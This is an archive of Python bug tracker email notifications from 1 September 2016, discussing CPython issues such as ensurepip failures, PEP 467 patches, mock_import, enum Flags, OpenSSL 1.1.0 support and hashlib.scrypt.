From report at bugs.python.org  Thu Sep  1 00:15:18 2016
From: report at bugs.python.org (John Mark Vandenberg)
Date: Thu, 01 Sep 2016 04:15:18 +0000
Subject: [issue27924] ensurepip raises TypeError after pip uninstall
In-Reply-To: <1472698976.68.0.784480763699.issue27924@psf.upfronthosting.co.za>
Message-ID: <1472703318.43.0.21656800256.issue27924@psf.upfronthosting.co.za>


John Mark Vandenberg added the comment:

Well, it wasnt my intention to remove the vendor package.  There were two versions, and I assume it would remove the older package which wasnt supplied by the vendor, but it removed both.

Anyways, I see that most of the code path is in https://github.com/fedora-python/rewheel/blob/master/python2-ensurepip-rewheel.patch#L36

I guess there isnt much the cpython module can do here.

----------
resolution:  -> third party
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27924>
_______________________________________

From report at bugs.python.org  Thu Sep  1 00:41:54 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Thu, 01 Sep 2016 04:41:54 +0000
Subject: [issue27918] Running test suites without gui but still having windows
 flash
In-Reply-To: <1472665002.34.0.0850471901825.issue27918@psf.upfronthosting.co.za>
Message-ID: <1472704914.37.0.312147293789.issue27918@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

It's my pleasure.

> My point was that even when I request gui, I still don't want to see the flash.

I also mean that in my last message, in this sentence " Even gui is enabled a single support.requires may seem somewhat confusing to flash a window". But it seems my poor English doesn't make it clear. :(

issue27918.patch does the switch and I add the withdrawn you suggest.

----------
keywords: +patch
Added file: http://bugs.python.org/file44314/issue27918.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27918>
_______________________________________

From report at bugs.python.org  Thu Sep  1 00:44:34 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Thu, 01 Sep 2016 04:44:34 +0000
Subject: [issue25758] ensurepip/venv broken on Windows if path includes unicode
In-Reply-To: <1448704613.06.0.448553989281.issue25758@psf.upfronthosting.co.za>
Message-ID: <1472705074.06.0.946363541462.issue25758@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

As a test case for handling non-ASCII characters in the name of the zipfile itself, I believe it should be sufficient to add '?' to TEMP_DIR and TEMP_ZIP in https://hg.python.org/cpython/file/default/Lib/test/test_zipimport.py

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25758>
_______________________________________

From report at bugs.python.org  Thu Sep  1 00:57:53 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 01 Sep 2016 04:57:53 +0000
Subject: [issue27630] Generator._encoded_EMTPY misspelling in email package
In-Reply-To: <1469581633.21.0.276257861067.issue27630@psf.upfronthosting.co.za>
Message-ID: <1472705873.35.0.421550386188.issue27630@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
assignee:  -> r.david.murray

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27630>
_______________________________________

From report at bugs.python.org  Thu Sep  1 01:22:03 2016
From: report at bugs.python.org (Donald Stufft)
Date: Thu, 01 Sep 2016 05:22:03 +0000
Subject: [issue27924] ensurepip raises TypeError after pip uninstall
In-Reply-To: <1472698976.68.0.784480763699.issue27924@psf.upfronthosting.co.za>
Message-ID: <1472707323.95.0.661802931723.issue27924@psf.upfronthosting.co.za>


Donald Stufft added the comment:

rewheel is definitely some Fedora patches.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27924>
_______________________________________

From report at bugs.python.org  Thu Sep  1 01:44:52 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Thu, 01 Sep 2016 05:44:52 +0000
Subject: [issue27924] ensurepip raises TypeError after pip uninstall
In-Reply-To: <1472698976.68.0.784480763699.issue27924@psf.upfronthosting.co.za>
Message-ID: <1472708692.58.0.811240226499.issue27924@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Yeah, this is a known problem with pip where if you run it with sudo, it will happily uninstall system managed files from the system Python.

To fix your system (if you haven't already):

    $ sudo dnf reinstall python2-pip

(Anyone that accidentally uninstalls one of DNF's dependencies is in for a world of pain, but fortunately for this case pip doesn't fall into that category)

For the actual "pip currently happily uninstalls distro packages when run with sudo" problem, https://mail.python.org/pipermail/distutils-sig/2016-January/028080.html is the most recent discussion of that situation.

So we have a basic concept in place for how to make "sudo pip uninstall" less dangerous, it just requires coordination between PyPA updates to pip and downstream distro packaging policies to get us there.

----------
nosy: +encukou

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27924>
_______________________________________

From report at bugs.python.org  Thu Sep  1 01:47:33 2016
From: report at bugs.python.org (Elias Zamaria)
Date: Thu, 01 Sep 2016 05:47:33 +0000
Subject: [issue27923] PEP 467 -- Minor API improvements for binary sequences
In-Reply-To: <1472691379.75.0.669592694643.issue27923@psf.upfronthosting.co.za>
Message-ID: <1472708853.93.0.349958930582.issue27923@psf.upfronthosting.co.za>


Elias Zamaria added the comment:

@martin.panter, I am familiar with Mercurial, and with the concept of rebasing, but I don't understand what you are trying to tell me.

I made these changes in several local branches, and then merged them all together in one branch. How can I rebase it onto a public revision? Can I just do it, or do I need some sort of special privileges?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27923>
_______________________________________

From report at bugs.python.org  Thu Sep  1 03:04:32 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Thu, 01 Sep 2016 07:04:32 +0000
Subject: [issue27918] Running test suites without gui but still having windows
 flash
In-Reply-To: <1472665002.34.0.0850471901825.issue27918@psf.upfronthosting.co.za>
Message-ID: <1472713472.3.0.37067764543.issue27918@psf.upfronthosting.co.za>


Changes by Xiang Zhang <angwerzx at 126.com>:


Removed file: http://bugs.python.org/file44314/issue27918.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27918>
_______________________________________

From report at bugs.python.org  Thu Sep  1 03:04:41 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Thu, 01 Sep 2016 07:04:41 +0000
Subject: [issue27918] Running test suites without gui but still having windows
 flash
In-Reply-To: <1472665002.34.0.0850471901825.issue27918@psf.upfronthosting.co.za>
Message-ID: <1472713481.67.0.489114752049.issue27918@psf.upfronthosting.co.za>


Changes by Xiang Zhang <angwerzx at 126.com>:


Added file: http://bugs.python.org/file44315/issue27918.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27918>
_______________________________________

From report at bugs.python.org  Thu Sep  1 03:07:45 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 01 Sep 2016 07:07:45 +0000
Subject: [issue27923] PEP 467 -- Minor API improvements for binary sequences
In-Reply-To: <1472691379.75.0.669592694643.issue27923@psf.upfronthosting.co.za>
Message-ID: <1472713665.13.0.587800405103.issue27923@psf.upfronthosting.co.za>


Martin Panter added the comment:

Here is what I did. (You could probably do this yourself, but never mind :)

hg pull -r{default,2.7,3.5}
hg update default  # Update to the latest public revision
hg import --no-commit "$(xclip -o)"  # Apply your patch on top
hg diff -p > pep467.patch  # Make a new diff

If you look inside the patch file, the difference is that the Reitveld review system cannot handle ?diff -r 3e41c0449b9c? from your file, but hopefully will know about ?diff -r ebb23744a36c? in my version.

----------
Added file: http://bugs.python.org/file44316/pep467.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27923>
_______________________________________

From report at bugs.python.org  Thu Sep  1 03:08:34 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 01 Sep 2016 07:08:34 +0000
Subject: [issue27923] PEP 467 -- Minor API improvements for binary sequences
In-Reply-To: <1472691379.75.0.669592694643.issue27923@psf.upfronthosting.co.za>
Message-ID: <1472713714.41.0.142019006133.issue27923@psf.upfronthosting.co.za>


Changes by Martin Panter <vadmium+py at gmail.com>:


Added file: http://bugs.python.org/file44317/pep467_doc_changes.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27923>
_______________________________________

From report at bugs.python.org  Thu Sep  1 04:02:29 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 01 Sep 2016 08:02:29 +0000
Subject: [issue27881] Fix possible bugs when setting
 sqlite3.Connection.isolation_level
In-Reply-To: <1472325689.42.0.337900232121.issue27881@psf.upfronthosting.co.za>
Message-ID: <1472716949.85.0.0136699608437.issue27881@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

> Xiang what do you think about changing the isolation_levels list to begin_statements list

This is interesting suggestion. Indeed, this simplifies the code. Thanks Aviv.

----------
Added file: http://bugs.python.org/file44318/issue27881_v4.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27881>
_______________________________________

From report at bugs.python.org  Thu Sep  1 04:13:32 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Thu, 01 Sep 2016 08:13:32 +0000
Subject: [issue27881] Fix possible bugs when setting
 sqlite3.Connection.isolation_level
In-Reply-To: <1472325689.42.0.337900232121.issue27881@psf.upfronthosting.co.za>
Message-ID: <1472717612.06.0.964625413365.issue27881@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Hmm, you do this "It's going to be freed in the dealloc method unless your alter that part too". If this is done I admit this is more clean. Patch LGTM.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27881>
_______________________________________

From report at bugs.python.org  Thu Sep  1 04:31:48 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Thu, 01 Sep 2016 08:31:48 +0000
Subject: [issue27925] Nicer interface to convert hashlib digests to int
Message-ID: <1472718708.44.0.588974083433.issue27925@psf.upfronthosting.co.za>


New submission from Steven D'Aprano:

hashlib digests should have a nicer interface to allow conversion to ints.

Currently we write int(x.hexdigest(), 16) which is less than obvious and easy to get wrong. It would be nice to be able to just say int(x) (that's my strong preference) or x.as_int().

Use-case: sometimes we need to store hashes in a database table which, for historical reasons, is an integer.

----------
messages: 274102
nosy: steven.daprano
priority: normal
severity: normal
status: open
title: Nicer interface to convert hashlib digests to int
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27925>
_______________________________________

From report at bugs.python.org  Thu Sep  1 04:47:14 2016
From: report at bugs.python.org (Michael Foord)
Date: Thu, 01 Sep 2016 08:47:14 +0000
Subject: [issue27376] Add mock_import method to mock module
In-Reply-To: <1466701937.33.0.949904358819.issue27376@psf.upfronthosting.co.za>
Message-ID: <1472719634.98.0.0720770205585.issue27376@psf.upfronthosting.co.za>


Changes by Michael Foord <michael at voidspace.org.uk>:


----------
assignee:  -> michael.foord

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27376>
_______________________________________

From report at bugs.python.org  Thu Sep  1 04:51:43 2016
From: report at bugs.python.org (Michael Foord)
Date: Thu, 01 Sep 2016 08:51:43 +0000
Subject: [issue27376] Add mock_import method to mock module
In-Reply-To: <1466701937.33.0.949904358819.issue27376@psf.upfronthosting.co.za>
Message-ID: <1472719903.1.0.520157732622.issue27376@psf.upfronthosting.co.za>


Michael Foord added the comment:

Is this for mocking out runtime dependencies that aren't available at test time? It seems like a good way of masking bugs! I'd be happier with a (or at least an option) to specify the imports that should be mocked. The use case should be mentioned in the docs.

I think the name is slightly confusing. I originally thought this was a function to mock specific imports - not to catch failed imports. mock_missing_import (or similar) would be a better name.

It's common with the mock functions to be able to provide a class to use as the mock function, and to take arbitrary keyword arguments to pass to the mock constructor.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27376>
_______________________________________

From report at bugs.python.org  Thu Sep  1 05:02:07 2016
From: report at bugs.python.org (Eyal Posener)
Date: Thu, 01 Sep 2016 09:02:07 +0000
Subject: [issue27376] Add mock_import method to mock module
In-Reply-To: <1466701937.33.0.949904358819.issue27376@psf.upfronthosting.co.za>
Message-ID: <1472720527.57.0.916923299323.issue27376@psf.upfronthosting.co.za>


Eyal Posener added the comment:

Thanks for the review, Michael.

About the use case: I use it for a process with loads code and inspect it's classes and methods. When I run this process, not always I have all the dependencies of the inspected code, so I found myself mocking all those packages before running the inspection code. This was very inconvenience, and broke any time someone added a new dependency to the code which is not in the standard library.

About the name: I agree.

About the keyword for the mock constructor: no problems.

Should I fix the code and submit an updated patch?
Do you think this function has a place in the standard mock module?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27376>
_______________________________________

From report at bugs.python.org  Thu Sep  1 05:04:03 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 01 Sep 2016 09:04:03 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1472720643.37.0.144755923831.issue23591@psf.upfronthosting.co.za>


STINNER Victor added the comment:

As noticed by veky on the review, _high_bit() is slow and can be optimized using int.bit_length(). Attached bit_length.patch implements this.

_high_bit(0) returns -1. Maybe an exception must be raised if the argument is < 1? (also fail for negative number)

----------
Added file: http://bugs.python.org/file44319/bit_length.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Thu Sep  1 05:08:34 2016
From: report at bugs.python.org (Michael Foord)
Date: Thu, 01 Sep 2016 09:08:34 +0000
Subject: [issue27376] Add mock_import method to mock module
In-Reply-To: <1466701937.33.0.949904358819.issue27376@psf.upfronthosting.co.za>
Message-ID: <1472720914.62.0.727375599552.issue27376@psf.upfronthosting.co.za>


Michael Foord added the comment:

It's not a use case I've specifically had but I can see its use. I'm uncertain of whether that means it belongs in the module or not. Let me see if I can get some more eyes on this bug.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27376>
_______________________________________

From report at bugs.python.org  Thu Sep  1 05:09:16 2016
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Thu, 01 Sep 2016 09:09:16 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1472720956.56.0.000460674885263.issue23591@psf.upfronthosting.co.za>


Vedran ?a?i? added the comment:

Sure, errors should never pass silently. This function shouldn't be called with nonpositive arguments. And there is no highbit of 0 (and there are infinitely many of negative numbers;).

ValueError is probably best - though IndexError can also be argued for, since this is quite analogous to pop from empty list. :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Thu Sep  1 05:19:10 2016
From: report at bugs.python.org (Michael Foord)
Date: Thu, 01 Sep 2016 09:19:10 +0000
Subject: [issue27376] Add mock_import method to mock module
In-Reply-To: <1466701937.33.0.949904358819.issue27376@psf.upfronthosting.co.za>
Message-ID: <1472721550.64.0.594926741706.issue27376@psf.upfronthosting.co.za>


Michael Foord added the comment:

Before you spend any more time on this, my current thinking is that this is a bit too specialised to belong in the standard library. I'll wait and see if a preponderance of core devs and other users disagree with me before I close this though.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27376>
_______________________________________

From report at bugs.python.org  Thu Sep  1 05:20:00 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 01 Sep 2016 09:20:00 +0000
Subject: [issue27923] PEP 467 -- Minor API improvements for binary sequences
In-Reply-To: <1472691379.75.0.669592694643.issue27923@psf.upfronthosting.co.za>
Message-ID: <1472721600.65.0.98479188386.issue27923@psf.upfronthosting.co.za>


Martin Panter added the comment:

Thanks for the patches. I left you some comments in the code review.

I expect there would be more bits of the docs that need fixing. Doc/library/functions.rst definitely; the tutorial is worth checking too. There may also be example code floating around using the deprecated calls.

Regarding code that uses the deprecated call, as well as blind searching (grep), you could try running the entire test suite with -Werror. That should catch a lot of them.

In the RST documentation, I think you missed adding entries for the zeros() and byte() constructor methods. Maybe use the other class methods maketrans(), fromhex() as a starting point.

Also, this will need an entry written for Doc/whatsnew/3.6.rst.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27923>
_______________________________________

From report at bugs.python.org  Thu Sep  1 05:28:34 2016
From: report at bugs.python.org (Antoine Pitrou)
Date: Thu, 01 Sep 2016 09:28:34 +0000
Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0
In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za>
Message-ID: <1472722114.26.0.511623998156.issue26470@psf.upfronthosting.co.za>


Antoine Pitrou added the comment:

Christian, thanks a lot for doing this!  Do you plan to change the SSLContext constructor and make the protocol argument optional? It sounds like that would be a logical followup to the OpenSSL API changes.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26470>
_______________________________________

From report at bugs.python.org  Thu Sep  1 05:31:15 2016
From: report at bugs.python.org (Tom Cornebize)
Date: Thu, 01 Sep 2016 09:31:15 +0000
Subject: [issue27926] ctypes is too slow to convert a Python list to a C array
Message-ID: <1472722275.26.0.560476389343.issue27926@psf.upfronthosting.co.za>


New submission from Tom Cornebize:

It is much faster to construct a Python array from the list and then cast this array, rather than using the "standard" constructor. See attached file to compare the performances.

This issue was previously asked on Stackoverflow: http://stackoverflow.com/questions/39225263/why-is-ctypes-so-slow-to-convert-a-python-list-to-a-c-array/

----------
components: ctypes
files: ctypes_slow.py
messages: 274111
nosy: Tom Cornebize
priority: normal
severity: normal
status: open
title: ctypes is too slow to convert a Python list to a C array
type: performance
Added file: http://bugs.python.org/file44320/ctypes_slow.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27926>
_______________________________________

From report at bugs.python.org  Thu Sep  1 05:31:56 2016
From: report at bugs.python.org (Antoine Pitrou)
Date: Thu, 01 Sep 2016 09:31:56 +0000
Subject: [issue27691] X509 cert with GEN_RID subject alt name causes SytemError
In-Reply-To: <1470389195.49.0.571813101842.issue27691@psf.upfronthosting.co.za>
Message-ID: <1472722316.21.0.409496018033.issue27691@psf.upfronthosting.co.za>


Antoine Pitrou added the comment:

I can't comment on this, as I don't even know what a "registered id" is, sorry :-/

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27691>
_______________________________________

From report at bugs.python.org  Thu Sep  1 05:33:46 2016
From: report at bugs.python.org (Antoine Pitrou)
Date: Thu, 01 Sep 2016 09:33:46 +0000
Subject: [issue27866] ssl: get list of enabled ciphers
In-Reply-To: <1472210954.34.0.734962882785.issue27866@psf.upfronthosting.co.za>
Message-ID: <1472722426.57.0.160899288643.issue27866@psf.upfronthosting.co.za>


Antoine Pitrou added the comment:

What does "kea" mean? Key exchange?

----------
nosy: +pitrou

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27866>
_______________________________________

From report at bugs.python.org  Thu Sep  1 06:06:59 2016
From: report at bugs.python.org (Benjamin Giesers)
Date: Thu, 01 Sep 2016 10:06:59 +0000
Subject: [issue27927] argparse: default propagation of formatter_class from
 ArgumentParser() to SubParsers
Message-ID: <1472724419.75.0.20824788392.issue27927@psf.upfronthosting.co.za>


New submission from Benjamin Giesers:

It would be nice to propagate the formatter_class defined in argparse.ArgumentParser() to added SubParsers by default. Currently one has to define the formatter_class for each subparser again and again.

Example:
    parser = argparse.ArgumentParser(description='property', formatter_class=argparse.ArgumentDefaultsHelpFormatter)
    subparsers = parser.add_subparsers(help='sub-command help')
    pcar = subparsers.add_parser('car', help='add car', formatter_class=argparse.ArgumentDefaultsHelpFormatter)
    pcar.add_argument('--color', help='color of car', default='red')
    pyacht = subparsers.add_parser('yacht', help='add yacht', formatter_class=argparse.ArgumentDefaultsHelpFormatter)
    pyacht.add_argument('--length', help='length of yacht [m]', default=12.5)

----------
components: Library (Lib)
messages: 274114
nosy: Benjamin Giesers
priority: normal
severity: normal
status: open
title: argparse: default propagation of formatter_class from ArgumentParser() to SubParsers
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27927>
_______________________________________

From report at bugs.python.org  Thu Sep  1 06:21:35 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 01 Sep 2016 10:21:35 +0000
Subject: [issue27866] ssl: get list of enabled ciphers
In-Reply-To: <1472210954.34.0.734962882785.issue27866@psf.upfronthosting.co.za>
Message-ID: <1472725295.74.0.487644983475.issue27866@psf.upfronthosting.co.za>


Christian Heimes added the comment:

KEA stands for key exchange algorithm.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27866>
_______________________________________

From report at bugs.python.org  Thu Sep  1 06:32:13 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 01 Sep 2016 10:32:13 +0000
Subject: [issue27691] X509 cert with GEN_RID subject alt name causes SytemError
In-Reply-To: <1470389195.49.0.571813101842.issue27691@psf.upfronthosting.co.za>
Message-ID: <1472725933.13.0.277192504527.issue27691@psf.upfronthosting.co.za>


Christian Heimes added the comment:

A GEN_RID is an OID plus some opaque data. It's up to an application to understand an OID and interpret its data. The value of a GEN_RID can be as simple as an int or UTF-8 strings or as complex as a nested ASN.1 struct for Kerberos principals.

I have modified Lib/test/make_ssl_certs.py to include two GEN_RIDS: 

  otherName.1 = 1.2.3.4;UTF8:some other identifier
  otherName.2 = 1.3.6.1.5.2.2;SEQUENCE:princ_name

  [princ_name]
  realm = EXP:0, GeneralString:KERBEROS.REALM
  principal_name = EXP:1, SEQUENCE:principal_seq
  [principal_seq]
  name_type = EXP:0, INTEGER:1
  name_string = EXP:1, SEQUENCE:principals
  [principals]
  princ1 = GeneralString:username

1.3.6.1.5.2.2 is the OID for Kerberos public key init (pkinit), used for e.g. FAST pre-auth and SmartCard authentication.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27691>
_______________________________________

From report at bugs.python.org  Thu Sep  1 06:32:55 2016
From: report at bugs.python.org (Barry A. Warsaw)
Date: Thu, 01 Sep 2016 10:32:55 +0000
Subject: [issue27921] f-strings: do not allow backslashes
In-Reply-To: <1472687380.69.0.18258745604.issue27921@psf.upfronthosting.co.za>
Message-ID: <1472725975.76.0.460160619736.issue27921@psf.upfronthosting.co.za>


Changes by Barry A. Warsaw <barry at python.org>:


----------
nosy: +barry

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27921>
_______________________________________

From report at bugs.python.org  Thu Sep  1 06:50:06 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Thu, 01 Sep 2016 10:50:06 +0000
Subject: [issue27919] Deprecate and remove extra_path distribution kwarg
In-Reply-To: <1472670374.61.0.857588658064.issue27919@psf.upfronthosting.co.za>
Message-ID: <1472727006.11.0.441744359298.issue27919@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

I think there are two time frames to look at here:

1. How do we make it easier for folks to work with existing packages like the newrelic one?

For that, it may make sense for at least setuptools to override extra_path when using installation targets other then sysconfig.get_path("purelib") and sysconfig.get_path("platlib") such that they get the same result as if "extra_path" wasn't there.

We know the setting isn't going to work, so ignoring it actually seems like it may be the more user friendly option.

2. How do we persuade publishers to stop using the "extra_path" feature in the first place?

I'm less sure of the benefits of that step, as I'm not sure why anyone would choose to use extra_path in the first place - the common "*.pth" file means you can still get conflicts, even with a versioned path name, and if you keep the dist-into directory, --single-version-externally-managed already gives you version info directly in the filesystem.

The use case does seem obscure enough that we could deprecate it as an undocumented feature that is incompatible with non-site-packages installs, and then see if anyone objects to the deprecation.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27919>
_______________________________________

From report at bugs.python.org  Thu Sep  1 08:29:19 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 01 Sep 2016 12:29:19 +0000
Subject: [issue27928] Add hashlib.scrypt
Message-ID: <1472732959.81.0.0491310720646.issue27928@psf.upfronthosting.co.za>


New submission from Christian Heimes:

OpenSSL 1.1 has EVP_PBE_scrypt(). hashlib.scrypt() is a low-hanging fruit for Python 3.6. I have a working patch with some tests. I need to write more tests and documentation:

https://github.com/tiran/cpython/commits/feature/openssl110_scrypt

----------
messages: 274118
nosy: christian.heimes, gregory.p.smith
priority: normal
severity: normal
stage: patch review
status: open
title: Add hashlib.scrypt
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Thu Sep  1 08:41:46 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Thu, 01 Sep 2016 12:41:46 +0000
Subject: [issue27364] Deprecate invalid unicode escape sequences
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <1472733706.51.0.181906308056.issue27364@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

Ping. I'd like to get this merged in time for 3.6. Is there anything I can do to speed up the review?

Since the change itself is very straightforward, I think this would make sense to merge it now and then fix the invalid escapes that are found during the beta phase.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Thu Sep  1 09:01:26 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 01 Sep 2016 13:01:26 +0000
Subject: [issue27364] Deprecate invalid unicode escape sequences
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <1472734886.43.0.491892586539.issue27364@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I think "invalid escape sequence '\?'" would look cleaner than "invalid escape sequence '?'".

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Thu Sep  1 09:11:30 2016
From: report at bugs.python.org (kevinconway)
Date: Thu, 01 Sep 2016 13:11:30 +0000
Subject: [issue27906] Socket accept exhaustion during high TCP traffic
In-Reply-To: <1472608644.33.0.983787454696.issue27906@psf.upfronthosting.co.za>
Message-ID: <1472735490.46.0.233569434642.issue27906@psf.upfronthosting.co.za>


kevinconway added the comment:

Added a comment to the .accept() loop with a reference to the issue.

----------
Added file: http://bugs.python.org/file44321/multi-accept-3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27906>
_______________________________________

From report at bugs.python.org  Thu Sep  1 09:12:27 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 01 Sep 2016 13:12:27 +0000
Subject: [issue27809] Add _PyFunction_FastCallDict(): fast call with keyword
 arguments as a dict
In-Reply-To: <1471652485.87.0.888349728997.issue27809@psf.upfronthosting.co.za>
Message-ID: <1472735547.15.0.347824577762.issue27809@psf.upfronthosting.co.za>


STINNER Victor added the comment:

The main feature has been merged, so I close the issue.

----------
resolution:  -> fixed
status: open -> closed
title: _PyObject_FastCall(): add support for keyword arguments -> Add _PyFunction_FastCallDict(): fast call with keyword arguments as a dict

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27809>
_______________________________________

From report at bugs.python.org  Thu Sep  1 09:13:54 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 01 Sep 2016 13:13:54 +0000
Subject: [issue27128] Add _PyObject_FastCall()
In-Reply-To: <1464257756.81.0.101125062969.issue27128@psf.upfronthosting.co.za>
Message-ID: <1472735634.1.0.124996547691.issue27128@psf.upfronthosting.co.za>


STINNER Victor added the comment:

The main features (_PyFunction_FastCall()) has been merged. Supporting keyword arguments is now handled by other issue (see issue #27830). I close this issue.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27128>
_______________________________________

From report at bugs.python.org  Thu Sep  1 09:15:25 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 01 Sep 2016 13:15:25 +0000
Subject: [issue26814] [WIP] Add a new _PyObject_FastCall() function which
 avoids the creation of a tuple or dict for arguments
In-Reply-To: <1461229041.59.0.994194592206.issue26814@psf.upfronthosting.co.za>
Message-ID: <1472735725.82.0.603796895747.issue26814@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I splitted the giant patch into smaller patches easier to review. The first part (_PyObject_FastCall, _PyObject_FastCallDict) is already merged. Other issues were opened to implement the full feature. I now close this issue.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26814>
_______________________________________

From report at bugs.python.org  Thu Sep  1 09:16:18 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 01 Sep 2016 13:16:18 +0000
Subject: [issue26530] tracemalloc: add C API to manually track/untrack memory
 allocations
In-Reply-To: <1457619430.68.0.0968942184372.issue26530@psf.upfronthosting.co.za>
Message-ID: <1472735778.67.0.23586208108.issue26530@psf.upfronthosting.co.za>


STINNER Victor added the comment:

@Nathaniel, Antoine: last ping before timeout :-p

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26530>
_______________________________________

From report at bugs.python.org  Thu Sep  1 09:19:49 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Thu, 01 Sep 2016 13:19:49 +0000
Subject: [issue27364] Deprecate invalid unicode escape sequences
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <1472735989.33.0.994722476915.issue27364@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

Thanks Serhiy; it does look better to me too!

----------
Added file: http://bugs.python.org/file44322/deprecate_invalid_escapes_both_3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Thu Sep  1 09:22:56 2016
From: report at bugs.python.org (Antoine Pitrou)
Date: Thu, 01 Sep 2016 13:22:56 +0000
Subject: [issue26530] tracemalloc: add C API to manually track/untrack memory
 allocations
In-Reply-To: <1457619430.68.0.0968942184372.issue26530@psf.upfronthosting.co.za>
Message-ID: <1472736176.22.0.0503766686557.issue26530@psf.upfronthosting.co.za>


